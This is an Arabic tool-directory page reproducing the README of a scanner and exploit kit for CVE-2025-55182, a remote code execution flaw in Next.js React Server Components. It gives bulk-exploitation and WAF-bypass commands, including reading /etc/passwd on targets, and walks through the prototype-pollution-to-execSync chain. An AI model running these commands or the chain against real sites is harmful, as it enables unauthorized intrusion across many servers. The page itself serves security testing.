Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182-NextJS-Scanner-React2Shell-PoC — أداة كشف واستغلال آلية لـ CVE-2025-55182، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) حرجة في مكونات خادم React.js الخاصة بـ Next.js. تتميز بمسح متعدد الطبقات للبصمات، وتجاوز جدران الحماية (WAF) وقدرات فحص جماعي لاختبار الاختراق. | Kitploit
أدوات/GitHubGitHub/exrienz/cve-2025-55182-nextjs-scanner-react2shell-poc
الاستطلاعماسحات الثغرات الأمنيةتوليد الحمولةالاستغلالاستغلال تطبيقات الويبتجاوز WAFاختبار الاختراقالقيادة والسيطرة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
exrienz/cve-2025-55182-nextjs-scanner-react2shell-poc

CVE-2025-55182-NextJS-Scanner-React2Shell-PoC

أداة كشف واستغلال آلية لـ CVE-2025-55182، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) حرجة في مكونات خادم React.js الخاصة بـ Next.js. تتميز بمسح متعدد الطبقات للبصمات، وتجاوز جدران الحماية (WAF) وقدرات فحص جماعي لاختبار الاختراق.

عرض المستودع
27منذ 10 أشهرلم تتم المراجعة بعد

أداة استغلال CVE-2025-55182

أداة بحث أمنية شاملة لاختبار ثغرة تنفيذ التعليمات البرمجية عن بُعد في مكونات خادم React من Next.js (CVE-2025-55182).

نظرة عامة

توفر هذه المجموعة الأدوات إمكانيات الكشف الآلي والاستغلال لثغرة CVE-2025-55182، وهي ثغرة حرجة من نوع RCE تؤثر على تطبيقات Next.js التي تستخدم مكونات خادم React. تتكون المجموعة من ثلاثة مكونات متكاملة:

  • NextApp.py - ماسح بصمات تطبيقات Next.js ذكي
  • exploit.sh - أداة استغلال مرنة لأهداف فردية أو جماعية
  • auto_exploit.sh - منسق آلي للمسح والاستغلال من البداية إلى النهاية

الميزات

  • كشف متعدد الطبقات: تحليل الرؤوس، مسح الجسم، وبصمات JavaScript
  • تسجيل الثقة: تصنيف ذكي (عالٍ/متوسط/منخفض) لتقليل النتائج الإيجابية الخاطئة
  • تجاوز جدار الحماية: تقنيات مدمجة لتجاوز جدران الحماية الشائعة لتطبيقات الويب
  • مسح جماعي: معالجة أهداف متعددة بكفاءة مع تقارير مفصلة
  • سير عمل آلي: كشف واستغلال بأمر واحد
  • تقارير مفصلة: ملفات إخراج شاملة مع نتائج مصنفة

المتطلبات

مكونات Python

  • Python 3.x
  • مكتبة requests
pip3 install requests

مكونات Bash

  • curl
  • openssl
  • أدوات Unix القياسية (sed, grep, awk, mktemp)

التثبيت

git clone https://github.com/yourusername/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
chmod +x exploit.sh auto_exploit.sh

الاستخدام

البدء السريع (موصى به)

أسرع طريقة لمسح الأهداف واستغلالها:

# Create a file with target URLs (one per line)
echo "https://example.com" > targets.txt

# Auto-scan and exploit in one command
./auto_exploit.sh -i targets.txt -s -c "id"

الكشف فقط

تحديد تطبيقات Next.js بدون استغلال:

python3 NextApp.py targets.txt

ملفات الإخراج:

  • confirmed_nextjs_targets.txt - جميع تطبيقات Next.js التي تم اكتشافها
  • high_confidence_nextjs_targets.txt - الاكتشافات عالية الثقة فقط

استغلال هدف فردي

اختبار أهداف فردية:

# Basic exploitation
./exploit.sh -d https://target.com -c "whoami"

# With WAF bypass
./exploit.sh -d target.com -c "cat /etc/passwd" -w

# Custom WAF bypass size
./exploit.sh -d target.com -c "ls -la" --waf-bypass --waf-size 256

# Skip SSL verification
./exploit.sh -d https://target.com -c "id" -k

الاستغلال الجماعي

الخيار 1: سير عمل موحد (موصى به)

./auto_exploit.sh -i targets.txt -s -c "whoami"

الخيار 2: سير عمل يدوي من خطوتين

# Step 1: Detect Next.js applications
python3 NextApp.py targets.txt

# Step 2: Exploit confirmed targets
./auto_exploit.sh -c "id"

الخيارات المتقدمة

# Full auto-scan with WAF bypass
./auto_exploit.sh -i targets.txt -s -w --waf-size 256 -c "whoami"

# Custom delays and timeouts
./auto_exploit.sh -i targets.txt -s --delay 5 --timeout 30 -c "id"

# Skip SSL verification in bulk mode
./auto_exploit.sh -i targets.txt -s -k -c "hostname"

مرجع الأوامر

NextApp.py

python3 NextApp.py <targets_file>

الوسائط:

  • targets_file - ملف نصي يحتوي على عناوين URL للأهداف (واحد في كل سطر)

exploit.sh

./exploit.sh [OPTIONS]

الخيارات:

الخيارالوصفالافتراضي
-d, --domainالنطاق/URL الهدفhttp://localhost:3000
-f, --fileملف بقائمة الأهداف-
-c, --commandالأمر المراد تنفيذهid
-w, --waf-bypassتفعيل تجاوز جدار الحمايةمعطل
--waf-size SIZEحجم بيانات تجاوز جدار الحماية (كيلوبايت)128
--timeout SECONDSمهلة الطلب15
-k, --insecureتخطي التحقق من SSLمعطل
--user-agent AGENTوكيل مستخدم مخصصMozilla/5.0...
-h, --helpعرض رسالة المساعدة-

auto_exploit.sh

./auto_exploit.sh [OPTIONS]

الخيارات:

الخيارالوصفالافتراضي
-i, --input FILEملف الأهداف المدخلةconfirmed_nextjs_targets.txt
-o, --output FILEملف النتائج المخرجةexploit_results.txt
-c, --command CMDالأمر المراد تنفيذهid
-w, --waf-bypassتفعيل تجاوز جدار الحمايةمعطل
--waf-size SIZEحجم تجاوز جدار الحماية (كيلوبايت)128
--timeout SECONDSمهلة الطلب15
-k, --insecureتخطي التحقق من SSLمعطل
--delay SECONDSالتأخير بين الطلبات2
-s, --scanمسح تلقائي لـ Next.js أولاًمعطل
-h, --helpعرض رسالة المساعدة-

ملفات الإخراج

confirmed_nextjs_targets.txt

يتم إنشاؤه بواسطة NextApp.py - يحتوي على جميع عناوين URL التي تم تحديدها كتطبيقات Next.js.

high_confidence_nextjs_targets.txt

يتم إنشاؤه بواسطة NextApp.py - يحتوي فقط على اكتشافات Next.js عالية الثقة (درجة ثقة 100+).

exploit_results.txt

يتم إنشاؤه بواسطة auto_exploit.sh - تقرير استغلال شامل يتضمن:

  • الأهداف القابلة للاستغلال مع مخرجات الأوامر
  • الأهداف غير القابلة للاستغلال
  • الأخطاء وتفاصيلها
  • إحصائيات ملخصة

منهجية الكشف

يستخدم الماسح تقنيات كشف متعددة مع نظام تسجيل الثقة:

تحليل الرؤوس (50 نقطة لكل منها)

  • رؤوس خاصة بـ Next.js: x-nextjs-*, x-vercel-*
  • x-powered-by: Next.js
  • الخادم: Vercel

مسح الجسم

  • وجود __NEXT_DATA__ (100 نقطة)
  • نمط buildId الخاص بـ Next.js (50 نقطة)
  • مسارات أصول _next/* (25-75 نقطة بناءً على الكمية)

بصمات JavaScript (60 نقطة)

  • __NEXT_DATA__, __NEXT_LOADED_PAGES__
  • middlewareManifest, self.__RSC_MANIFEST

حدود الثقة:

  • عالٍ (100+): مؤشرات قوية متعددة
  • متوسط (75-99): عدة مؤشرات معتدلة
  • منخفض (50-74): أدلة ضئيلة
  • أقل من 50: مرفوض كنتيجة إيجابية خاطئة

آلية الاستغلال

يستغل الاستغلال سلسلة تلوث النموذج الأولي في مكونات خادم React من Next.js:

  1. بناء بيانات نموذج متعددة الأجزاء مع حمولة متداخلة
  2. تلويث سلسلة __proto__ عبر إلغاء تسلسل JSON
  3. حقن JavaScript عشوائي في _response._prefix
  4. تنفيذ الأوامر عبر process.mainModule.require('child_process').execSync()
  5. استخراج النتائج من رأس X-Action-Redirect
  6. فك ترميز URL وتنسيق المخرجات

تقنيات تجاوز جدار الحماية

تتضمن المجموعة إمكانيات مدمجة لتجاوز جدار الحماية:

  • حقن بيانات غير هامة: إضافة بيانات عشوائية مسبقة لتجاوز المرشحات القائمة على الحجم
  • حدود ديناميكية: حدود متعددة الأجزاء عشوائية
  • عشوائية معرف الطلب: معرفات فريدة لكل طلب
  • حجم قابل للتكوين: حجم بيانات غير هامة قابل للتعديل (الافتراضي 128 كيلوبايت)

قم بالتفعيل باستخدام علامات -w أو --waf-bypass.

أمثلة

مسح واستغلال تطبيق ويب

# Create target list
cat > targets.txt << EOF
https://app.example.com
https://dashboard.example.com
https://admin.example.com
EOF

# Run unified scan
./auto_exploit.sh -i targets.txt -s -c "whoami"

# Check results
cat exploit_results.txt

اختبار هدف فردي مع تجاوز جدار الحماية

./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256

الأهداف عالية الثقة فقط

# Step 1: Detect and filter
python3 NextApp.py targets.txt

# Step 2: Exploit high-confidence only
./auto_exploit.sh -i high_confidence_nextjs_targets.txt -c "id"

إخلاء مسؤولية قانوني

هذه الأداة مخصصة لأغراض الاختبار الأمني المصرح به والبحث فقط. يجب على المستخدمين:

  • ✅ الحصول على إذن كتابي صريح قبل اختبار أي أنظمة
  • ✅ الاستخدام فقط في مهام اختبار الاختراق المصرح بها
  • ✅ الامتثال لجميع القوانين واللوائح المعمول بها
  • ✅ الاستخدام للبحث الأمني الدفاعي ومسابقات CTF

الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن سوء استخدام هذه الأداة.

معلومات الثغرة

  • معرف CVE: CVE-2025-55182
  • المتأثر: مكونات خادم React من Next.js
  • النوع: تنفيذ تعليمات برمجية عن بُعد (RCE)
  • الخطورة: حرجة

الإسناد

شكرًا للباحثين الأمنيين الذين اكتشفوا وكشفوا عن هذه الثغرة:

  • @zack0x01
  • @infosec_au
  • @pdiscoveryio

المساهمة

المساهمات مرحب بها! من فضلك:

  1. عمل Fork للمستودع
  2. إنشاء فرع ميزة
  3. تنفيذ Commit للتغييرات
  4. تقديم طلب سحب

الدعم

للاستفسارات أو الأسئلة أو طلبات الميزات، يرجى فتح مشكلة على GitHub.

الترخيص

هذا المشروع مقدم للأغراض التعليمية واختبار الأمن المصرح به. استخدم بمسؤولية وأخلاقية.

تنزيل الأداة